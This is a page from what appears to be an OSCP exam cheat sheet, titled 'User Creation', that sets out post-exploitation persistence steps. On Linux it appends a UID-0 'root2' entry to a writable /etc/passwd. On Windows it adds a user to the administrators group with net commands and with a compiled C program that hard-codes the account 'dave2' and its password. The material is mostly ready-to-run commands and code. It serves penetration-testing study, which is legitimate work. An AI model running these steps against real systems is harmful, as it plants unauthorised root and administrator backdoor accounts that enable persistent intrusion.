> For the complete documentation index, see [llms.txt](https://yongjun04.gitbook.io/oscp-cheatsheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yongjun04.gitbook.io/oscp-cheatsheet/attacks/user-creation.md).

# User Creation

## Linux

> **NOTE: Works only if got writable permission to /etc/passwd**

{% stepper %}
{% step %}

### Create hashed password

```bash
openssl passwd "<Password>"
```

{% endstep %}

{% step %}

### Add user into /etc/passwd

```bash
echo "root2:<Hashed Password>:0:0:root:/root:/bin/bash" >> /etc/passwd
```

{% endstep %}
{% endstepper %}

## Windows

> **NOTE: Requires Administrative permissions**

### Manual

{% stepper %}
{% step %}

### Add user to user list

```powershell
net user <Username> <Password> /add
```

{% endstep %}

{% step %}

### Add user to Administrator group

```powershell
net localgroup administrators <Username> /add
```

{% endstep %}
{% endstepper %}

### Script

{% stepper %}
{% step %}

### Generate a script to create a user and assign user into administrator group

```cpp
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}
```

{% endstep %}

{% step %}

### Compile

```bash
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
```

{% endstep %}
{% endstepper %}